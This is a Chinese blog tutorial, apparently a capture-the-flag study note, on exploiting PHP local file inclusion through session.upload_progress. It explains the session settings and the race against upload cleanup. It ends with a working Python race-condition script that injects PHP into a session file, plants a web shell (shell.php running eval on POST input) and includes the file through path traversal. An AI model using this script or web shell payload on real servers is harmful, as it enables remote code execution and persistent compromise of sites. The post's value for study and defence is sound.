zoukankan      html  css  js  c++  java
  • PHP Session.upload_progress

    0x01 前言

    本文主要是利用PHP中的session.upload_progress功能作为跳板,根据参考文件描述所进行的文件包含漏洞利用复现。仅供自我学习使用,侵权立删

    由于首先需要了解关于session及其反序列化等相关的知识,所以对它们先进行介绍。

    Session 上传进度

    注意: 此特性自 PHP 5.4.0 后可用。

    session.auto_start = off
    // 如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的
    session.upload_progress.enabled = on
    // 默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
    session.upload_progress.cleanup = on
    // 默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。
    session.upload_progress.prefix = "upload_progress_"
    session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    // 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
    session.upload_progress.freq = "1%"
    session.upload_progress.min_freq = "1"
    // session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
    

    0x02 利用 upload_progress 文件包含

    源码:

    <?php
    $file = $_GET['flie'];
    include "$b";
    ?>
    

    可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。

    其实,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

    1. 代码里没有session_start()时如何创建session文件呢?

    其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

    session还有一个选项,默认情况下session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=Qftm,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm。而且需要一点点技巧就可以不需要进行session_start()。

    查看官方给的案列

    PHP_SESSION_UPLOAD_PROGRESS的官方手册

    http://php.net/manual/zh/session.upload-progress.php
    

    一个上传进度数组的结构的例子

    <form action="upload.php" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
     <input type="file" name="file1" />
     <input type="file" name="file2" />
     <input type="submit" />
    </form>
    

    在session中存放的数据看上去是这样子的:

    <?php
    $_SESSION["upload_progress_123"] = array(
     "start_time" => 1234567890,   // The request time
     "content_length" => 57343257, // POST content length
     "bytes_processed" => 453489,  // Amount of bytes received and processed
     "done" => false,              // true when the POST handler has finished, successfully or not
     "files" => array(
      0 => array(
       "field_name" => "file1",       // Name of the <input/> field
       // The following 3 elements equals those in $_FILES
       "name" => "foo.avi",
       "tmp_name" => "/tmp/phpxxxxxx",
       "error" => 0,
       "done" => true,                // True when the POST handler has finished handling this file
       "start_time" => 1234567890,    // When this file has started to be processed
       "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
      ),
      // An other file, not finished uploading, in the same request
      1 => array(
       "field_name" => "file2",
       "name" => "bar.avi",
       "tmp_name" => NULL,
       "error" => 0,
       "done" => false,
       "start_time" => 1234567899,
       "bytes_processed" => 54554,
      ),
     )
    );
    

    Bypass思路分析

    从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=Qftm(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。

    2. 文件上传后,session文件内容立即清空,如何进行rce呢?

    事实上并不能完全的利用成功,因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

    Bypass思路梳理

    (1)upload file

    files={'file': ('a.txt', "xxxxxxx")}
    

    (2)设置cookie PHPSESSID

    session.use_strict_mode=0造成Session ID可控
    
    PHPSESSID=Qftm
    

    (3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS

    session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session
    
    "PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
    

    (4)session.upload_progress.cleanup = on

    多线程,时间竞争
    

    3. 攻击脚本

    import io
    import sys
    import requests
    import threading
    
    sessid = 'Qftm'
    
    def POST(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            session.post(
                'http://192.33.6.145/index.php',
                data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
                files={"file":('q.txt', f)},
                cookies={'PHPSESSID':sessid}
            )
    
    def READ(session):
        while True:
            response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
            # print('[+++]retry')
            # print(response.text)
    
            if 'flag' not in response.text:
                print('[+++]retry')
            else:
                print(response.text)
                sys.exit(0)
    
    with requests.session() as session:
        t1 = threading.Thread(target=POST, args=(session, ))
        t1.daemon = True
        t1.start()
    
        READ(session)
    

    Reference

    利用session.upload_progress进行文件包含和反序列化渗透

    PHP文件包含漏洞利用思路与Bypass总结手册(宝藏)

  • 相关阅读:
    区块链
    git在IDEA中的使用
    hadoop linux 杂记
    idea java web 使用说明
    克隆虚拟机,解决网卡问题
    最小化CentOS6.7(64bit)---安装mysql5.5、jdk、tomcat
    爬虫学习笔记(1)--环境准备与正则表达式
    图论 BZOJ 3669 [Noi2014]魔法森林
    Manacher Ural 1297 Palindrome
    动态规划,贪心 APIO 2015 Sculptures
  • 原文地址:https://www.cnblogs.com/chalan630/p/14147602.html
Copyright © 2011-2022 走看看